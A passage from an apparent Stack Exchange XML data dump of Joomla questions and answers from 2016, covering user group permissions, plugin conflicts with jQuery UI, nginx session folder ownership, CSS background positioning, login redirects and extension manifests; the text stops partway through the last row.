  <row Id="17435" PostTypeId="2" ParentId="17320" CreationDate="2016-08-09T07:56:14.270" Score="1" Body="&lt;p&gt;By default the User Group &lt;strong&gt;Editor&lt;/strong&gt; does not have access to the back-end of the site, check with more detail the full description for each group here:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/User_Group_Access_levels_explained_in_simple_terms&quot; rel=&quot;nofollow noreferrer&quot;&gt;User Group Access levels explained in simple terms&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Joomla! is very flexible, so you can adjust the permissions to be able to give access to the user group in this section of your site, follow this simple step:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to &lt;strong&gt;System&lt;/strong&gt; &amp;gt; &lt;strong&gt;Global Configuration&lt;/strong&gt; &amp;gt; &lt;strong&gt;Permissions&lt;/strong&gt; Tab&lt;/p&gt;&#xA;&lt;p&gt;From here select the User Group Editor, inside you can see options like &lt;strong&gt;Access Administration Interface&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-08-09T07:56:14.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17436" PostTypeId="2" ParentId="17327" CreationDate="2016-08-09T08:10:34.533" Score="1" Body="&lt;p&gt;By default in Joomla! you can change the default path, but only for the main folder, in this case&lt;br/&gt; you can change this in:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;System&lt;/strong&gt; &gt; &lt;strong&gt;Global Configuration&lt;/strong&gt; &gt; &lt;strong&gt;Media&lt;/strong&gt; &gt; &lt;strong&gt;Path to Images Folder&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can solve this by using another editor, for example in &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/edition/editors/jce&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCE Editor&lt;/a&gt; you can select a specific folder for each user, check more detailed information here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/support/tutorials/editor/setting-the-file-directory-path&quot; rel=&quot;nofollow noreferrer&quot;&gt;Restricting users to a specific folder.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="120" LastEditDate="2020-01-09T22:53:52.613" LastActivityDate="2020-01-09T22:53:52.613" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17437" PostTypeId="2" ParentId="17379" CreationDate="2016-08-09T08:24:17.230" Score="1" Body="&lt;p&gt;You can use a tool like &lt;a href=&quot;http://getfirebug.com&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt; or similar for inspect your source code of your site in your browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tool like this will give you information about the selectors and the path where they are located, the line number and the name of the file that contains this selectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have this you can add or change the values, it's certainly a tool that will save you a large amount of work.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-08-09T08:24:17.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17438" PostTypeId="2" ParentId="17421" CreationDate="2016-08-09T08:44:08.317" Score="1" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Components&lt;/strong&gt; &gt; &lt;strong&gt;K2&lt;/strong&gt; &gt; &lt;strong&gt;Categories&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here select the main category and go to the Tab &lt;strong&gt;Display Settings&lt;/strong&gt;, see the screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1HUU9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1HUU9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-08-09T08:44:08.317" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17439" PostTypeId="1" CreationDate="2016-08-09T11:16:07.180" Score="1" ViewCount="75" Body="&lt;p&gt;Hello I have an old &lt;code&gt;Joomla 2.5&lt;/code&gt; site. I use the &lt;code&gt;jQueryEasy&lt;/code&gt; for optimization and if I dont I get some random mootools error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is : I want to use the &lt;code&gt;draggable()&lt;/code&gt; method of &lt;code&gt;jQuery UI&lt;/code&gt;.&#xA;It seems that the &lt;code&gt;jQueryEasy&lt;/code&gt; doesnt load the correct &lt;code&gt;jQuery UI&lt;/code&gt; ( the one with the other libraries like draggable ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Inside a component's view I tried to load the cdns from &lt;code&gt;jQuery&lt;/code&gt; and &lt;code&gt;jQuery UI&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;/js/jquery-1.12.4.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/js/jquery-ui-1.12.0.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;div id=&quot;test&quot;&amp;gt;&#xA;   TEST TEST TEST&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;jQuery(function() {&#xA;    jQuery(&quot;#test&quot;).draggable();&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No errors , just not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Load the same version of &lt;code&gt;jQuery + UI&lt;/code&gt; from the &lt;code&gt;jQueryEasy plugin&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same story. No errors , and didnt work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Created a new file in joomla root folder ( wanted to test a file outside of Joomla Environment )&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This worked perfectly. So I reached to the conclusion that the issue here is the jQueryEasy plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Stopped the plugin and tested the 1st step&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worked again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant unpublish the plugin, so is there any other way to load the correct jQuery UI and get my hands on &lt;code&gt;draggable()&lt;/code&gt; method ?&lt;/p&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="2225" LastEditDate="2016-08-09T11:25:46.887" LastActivityDate="2017-01-07T13:33:05.057" Title="jQuery UI issue with jQueryEasy plugin" Tags="|joomla-2.5|plugin|jquery|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17440" PostTypeId="2" ParentId="8984" CreationDate="2016-08-09T13:41:14.770" Score="1" Body="&lt;p&gt;I just did it a week ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;disable ALL plugins/modules/extensions/components etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then upload all joomla 3.4 files via FTP to your website's root.&lt;/p&gt;&#xA;" OwnerUserId="8833" LastActivityDate="2016-08-09T13:41:14.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17441" PostTypeId="2" ParentId="17430" CreationDate="2016-08-09T14:55:44.973" Score="0" Body="&lt;p&gt;Approaching the problem from another side, you can use Advanced Module Manager from NoNumbers to set all the modules from your homepage to only show on homepage and not on non-menu item pages: &lt;a href=&quot;https://www.regularlabs.com/extensions/advancedmodulemanager&quot; rel=&quot;nofollow&quot;&gt;https://www.regularlabs.com/extensions/advancedmodulemanager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-08-09T14:55:44.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17442" PostTypeId="2" ParentId="14805" CreationDate="2016-08-09T15:09:56.553" Score="2" Body="&lt;p&gt;I used CentOS 7 with NGINX and Joomla 3.6.2 and had the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; Permission in the folder &quot;/var/lib/php/session&quot; for group &quot;apache&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[user@localhost ~]$ sudo ls -al /var/lib/php/session&#xA;total 8&#xA;drwxrwx--- 2 root apache 4096 May 12 10:49 .&#xA;drwxr-xr-x 3 root root   4096 Aug  9 07:35 ..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; Change the folder permission for group &quot;nginx&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[user@localhost ~]$ sudo chown root:nginx /var/lib/php/session&#xA;[user@localhost ~]$ sudo ls -al /var/lib/php/session&#xA;total 12&#xA;drwxrwx--- 2 root  nginx 4096 Aug  9 08:13 .&#xA;drwxr-xr-x 3 root  root  4096 Aug  9 07:35 ..&#xA;-rw------- 1 nginx nginx 1261 Aug  9 08:20 sess_a4j5nrejik5lqjq07es7if3dq6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It worked!&lt;/p&gt;&#xA;" OwnerUserId="8845" LastEditorUserId="8845" LastEditDate="2016-08-09T15:23:10.447" LastActivityDate="2016-08-09T15:23:10.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17443" PostTypeId="1" AcceptedAnswerId="17450" CreationDate="2016-08-09T22:13:32.897" Score="2" ViewCount="263" Body="&lt;p&gt;Where is the best place in Joomla MVC (server-side) to forbid users from changing a value in a pre-existing form record? In JTable &lt;code&gt;check&lt;/code&gt; / &lt;code&gt;bind&lt;/code&gt;/ JModel &lt;code&gt;prepareTable&lt;/code&gt;, or elsewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For context, I have a form in my component with certain fields that shouldn't change after initial creation - though other fields are editable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can disable or simply not render the fields in the edit view of the item if it has an ID, but that won't stop a well-crafted POST, so I'd like to simply 'ignore' a series of values if the data array has an ID &gt; 0 (and thus exists).&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2016-08-11T17:09:52.927" Title="Where to prevent field value change in custom component form record?" Tags="|joomla-3.x|php|component|development|mvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17444" PostTypeId="1" AcceptedAnswerId="17476" CreationDate="2016-08-10T05:39:01.983" Score="1" ViewCount="200" Body="&lt;p&gt;How can I move down the background image,so the word OUTSOURCING would be just below the logo? I think with video bg I have the same issue too... Top part of it is too high up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://idevsky.com&quot; rel=&quot;nofollow&quot;&gt;http://idevsky.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7161" LastActivityDate="2016-08-11T20:23:39.290" Title="How to move down background image?" Tags="|templates|css|joomla-3.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17445" PostTypeId="2" ParentId="17444" CreationDate="2016-08-10T06:01:49.820" Score="3" Body="&lt;p&gt;You can use a tool like &lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt; or similar for inspect your source code of your site in your browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tool like this will give you information about the selectors and the path where they are located, the line number and the name of the file that contains this selectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have this you can add or change the values, in this case you have this class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;background: #FFFFFF url(http://idevsky.com/images/1.jpg) no-repeat center center fixed;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here you can change for example the value &lt;strong&gt;center center&lt;/strong&gt; to something like &lt;strong&gt;center top&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please check more information here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/background-position&quot; rel=&quot;nofollow&quot;&gt;Background position.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-08-10T06:01:49.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17446" PostTypeId="1" CreationDate="2016-08-10T08:53:17.027" Score="1" ViewCount="307" Body="&lt;p&gt;I'm trying to redirect users to a particular page after they have logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;login url example is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when they log in i want to redirect them to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/home&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/home&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when they navigate to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;they will be automatically redirected back to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/home&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/home&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but only when they are logged in&lt;/p&gt;&#xA;" OwnerUserId="1582" LastActivityDate="2016-10-09T21:07:39.113" Title="redirect from one page to another after login" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17447" PostTypeId="1" AcceptedAnswerId="17588" CreationDate="2016-08-10T09:35:29.373" Score="0" ViewCount="857" Body="&lt;p&gt;I want to create a page where visitors can submit an article from frontend in K2. But when I create a menu item with type as &lt;code&gt;item edit form&lt;/code&gt; in K2, it throws an error in frontend. The whole website doesn't load.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Call To A Member Function Get() On Null&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have also tried making the menu item only for registered users. But after login also, it gives the same error.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-08-19T06:13:07.547" Title="K2: Call To A Member Function Get() On Null" Tags="|joomla-3.x|k2|menu-item|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17449" PostTypeId="2" ParentId="17439" CreationDate="2016-08-10T10:51:23.630" Score="1" Body="&lt;p&gt;I got it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;jQueryEasy&lt;/code&gt; has a feature to ignore some scripts for getting stripped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8ktA7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ktA7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I removed the initialise of &lt;code&gt;jQuery UI&lt;/code&gt;, I loaded it manually from template and excluded from plugin and everything worked like a charm &lt;/p&gt;&#xA;" OwnerUserId="2225" LastActivityDate="2016-08-10T10:51:23.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17450" PostTypeId="2" ParentId="17443" CreationDate="2016-08-10T11:27:43.060" Score="2" Body="&lt;p&gt;&lt;code&gt;JTable&lt;/code&gt; method &lt;code&gt;check&lt;/code&gt; is design for &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Method to perform sanity checks on the JTable instance properties to ensure they are safe to store in the database.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JTable&lt;/code&gt; method &lt;code&gt;bind&lt;/code&gt; is design for &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Method to bind an associative array or object to the JTable instance.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So both of them are not designed for what you are trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However &lt;code&gt;JModel&lt;/code&gt; method &lt;code&gt;prepareTable&lt;/code&gt; is designed for&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Prepare and sanitise the table data prior to saving.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it's exactly what you need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function prepareTable($table)&#xA;{&#xA;  // Row exists?&#xA;  if ((int)$table-&amp;gt;id &amp;gt; 0) {&#xA;    // Ignore certain fields&#xA;    unset($table-&amp;gt;ignoreFieldName);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2016-08-11T17:09:52.927" LastActivityDate="2016-08-11T17:09:52.927" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17452" PostTypeId="1" AcceptedAnswerId="17453" CreationDate="2016-08-10T13:35:09.660" Score="0" ViewCount="71" Body="&lt;p&gt;I am working on fof 2.4 project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that I need to create a form on frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen form in fof 3.0 in contactus sample component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my project is in fof 2.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any one created form on front end using fof 2.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me to solve this issue.&lt;/p&gt;&#xA;" OwnerUserId="8682" LastActivityDate="2016-08-10T15:59:06.500" Title="How to create form on frontend" Tags="|joomla-3.x|form|fof|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17453" PostTypeId="2" ParentId="17452" CreationDate="2016-08-10T15:59:06.500" Score="0" Body="&lt;p&gt;You can visit FoF Contactus or To-Do before FoF3 conversion:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;contactus&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/akeeba/contactus/tree/7f279af5857cf3056c0eb98e1b5c73bb3def8516&quot; rel=&quot;nofollow&quot;&gt;https://github.com/akeeba/contactus/tree/7f279af5857cf3056c0eb98e1b5c73bb3def8516&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;todo&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/akeeba/todo-fof-example/tree/a364f3a87120cea442e94be529da01b87073e70d&quot; rel=&quot;nofollow&quot;&gt;https://github.com/akeeba/todo-fof-example/tree/a364f3a87120cea442e94be529da01b87073e70d&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I strongly suggest to implement FoF3. The new &lt;a href=&quot;https://github.com/akeeba/fof/wiki/Scaffolding&quot; rel=&quot;nofollow&quot;&gt;scaffolding&lt;/a&gt; feature is amazing.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-08-10T15:59:06.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17454" PostTypeId="1" CreationDate="2016-08-10T18:27:48.547" Score="2" ViewCount="143" Body="&lt;p&gt;Is there any way to do this natively yet (ie. without using a plugin)? I'm hoping there's native support similar to the way the old MVC Override plugin allowed class overrides using a /code folder in the templates directory (much like how template HTML overrides currently work). All the documentation on it is fairly out of date so I figured it's worth asking, but I'm sure I'm out of luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I want to do is swap out a few items on the quickicons module and I need to override its helper class to do so - writing a system plugin or having to make a custom version of the module seems a touch overkill.&lt;/p&gt;&#xA;" OwnerUserId="7064" LastEditorUserId="5638" LastEditDate="2016-09-10T06:34:20.803" LastActivityDate="2018-02-03T02:21:39.570" Title="Natively override core extension classes from templates?" Tags="|joomla-3.x|development|mvc|joomla-3.6|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17455" PostTypeId="2" ParentId="17446" CreationDate="2016-08-10T18:45:32.297" Score="1" Body="&lt;p&gt;A simple way to do this might be to publish a module with no title in the debug position, and set it to only show for registered users. In it, you can put a javascript redirect like the one found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/4744751/how-do-i-redirect-with-javascript&quot;&gt;https://stackoverflow.com/questions/4744751/how-do-i-redirect-with-javascript&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set Publish it on the page you want to redirect FROM and make it redirect to the page you want it to redirect TO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what text editor you're using, you might have to disable the editor to put the code in, and then save the module. If you're using JCE, you can set JCE to allow script without it removing the script when you save.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-08-10T18:45:32.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17456" PostTypeId="1" CreationDate="2016-08-10T21:21:25.837" Score="5" ViewCount="131" Body="&lt;p&gt;Is there a way that extension packages can be installed using the &quot;administrator&quot; client option or similar in a manifest file? I've made an installer package purely for the backend and I'd like it to show up under the 'Administrator' location in the Extension Manager, but it currently shows up under 'Site'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding a &quot;client&quot; property set to &quot;administrator&quot; in the  element, but the docs are evidently accurate when they state it only works for components. I can work around by modifying the database on install using a scriptfile, but surely it's possible using the manifest alone?&lt;/p&gt;&#xA;" OwnerUserId="7064" LastActivityDate="2024-04-06T17:05:30.673" Title="Install packages to &quot;Administrator&quot; location in Extension Manager" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17458" PostTypeId="1" AcceptedAnswerId="17865" CreationDate="2016-08-11T00:37:09.010" Score="1" ViewCount="585" Body="&lt;p&gt;I'm using Joomla 3.6.2 and I can't understand how to do a simple thing.&#xA;I'm using cloudflare so I can't use the www.example.com url for https, but I need to use https:// example.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to simple redirect http:// www.example.com/administrator to https:// example.com/administrator automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another e-commerce oriented cms allow me to select a specific url for https pages, like without www. I can't understand how to do this with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't use htaccess redirect because when I write https:// www.example.com the connection is closed by cloudflare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8852" LastEditorUserId="8852" LastEditDate="2016-08-11T13:36:01.363" LastActivityDate="2016-09-11T15:23:31.927" Title="Joomla https redirect to different domain" Tags="|joomla-3.x|redirect|https|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17459" PostTypeId="2" ParentId="17458" CreationDate="2016-08-11T03:33:36.137" Score="1" Body="&lt;p&gt;I may have misunderstood your question - but your issue is purely with cloudfare. If they are blocking &lt;code&gt;http://www&lt;/code&gt; from even touching the server, then I can't see how any setting in Joomla would help.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-08-11T03:33:36.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17462" PostTypeId="1" AcceptedAnswerId="17468" CreationDate="2016-08-11T07:06:06.217" Score="0" ViewCount="496" Body="&lt;p&gt;Is is possible to deliver some website parts over json in Joomla 3.6.2? I want to deliver or share header and footer because there are some projects on subdomains but the header and footer should be the same...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to work with json on K2 component but not with parts of website... is there any default Joomla! option?&lt;/p&gt;&#xA;" OwnerUserId="1952" LastActivityDate="2016-08-11T11:20:15.683" Title="Deliver some parts of website with json?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17465" PostTypeId="2" ParentId="17462" CreationDate="2016-08-11T08:19:47.870" Score="0" Body="&lt;p&gt;There is no option to generate Html as a JSON output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to implement your own API to generate a header or footer from Joomla as a JSON output.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-08-11T08:19:47.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17466" PostTypeId="2" ParentId="17456" CreationDate="2016-08-11T08:25:07.960" Score="0" Body="&lt;p&gt;&quot;client&quot; property can be defined in the extension tag. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension type=&quot;module&quot; version=&quot;3.5&quot; client=&quot;site&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To install the module in the administrator area:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension type=&quot;module&quot; version=&quot;2.5&quot; client=&quot;administrator&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-08-11T08:25:07.960" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17468" PostTypeId="2" ParentId="17462" CreationDate="2016-08-11T11:20:15.683" Score="0" Body="&lt;p&gt;You could do something similar by writing an AJAX plug-in.&#xA;It is quite quick to write joomla ajax plug-ins and you can set the output to json, or raw.  There is good documentation on this at &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt; and a handy code example at &lt;a href=&quot;https://github.com/Joomla-Ajax-Interface/Ajax-Latest-Articles&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Joomla-Ajax-Interface/Ajax-Latest-Articles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to use something like the JBackend extension, which can output content and other models as json.  I mainly use it for mobile app APIs, but it may work ok for what you're looking at too. For more info about jbackend see...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/jbackend&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/jbackend&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.selfget.com/documentation/category/7-jbackend-j30.html&quot; rel=&quot;nofollow&quot;&gt;https://www.selfget.com/documentation/category/7-jbackend-j30.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2016-08-11T11:20:15.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17469" PostTypeId="1" AcceptedAnswerId="17471" CreationDate="2016-08-11T11:25:05.033" Score="2" ViewCount="298" Body="&lt;p&gt;I want to specific users with group &lt;code&gt;Admin&lt;/code&gt; be allowed to edit template &lt;strong&gt;files&lt;/strong&gt;.&#xA;But anything I do they can only change styles settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I wonder is it better to add an editor into style settings, which code will be ran in the &lt;code&gt;index.php&lt;/code&gt; file.)&lt;/p&gt;&#xA;" OwnerDisplayName="user8855" LastActivityDate="2016-08-13T12:02:41.203" Title="Allowing user to edit template files" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17471" PostTypeId="2" ParentId="17469" CreationDate="2016-08-11T13:01:45.270" Score="1" Body="&lt;p&gt;I tested assigning the relevant permissions to a standard administrator and this will does not allow them to edit template files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason being is because giving them access will allow them to give themselves super admin access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way you will be able to allow standard administrators to edit template files, is by giving them the same permissions as a super user, which effectively makes them super users anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the choice is entirely up to you whether or not you want to assign them the same permissions, but this is not possible without doing so.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-08-13T12:02:41.203" LastActivityDate="2016-08-13T12:02:41.203" CommentCount="0" ContentLicense="CC BY-SA 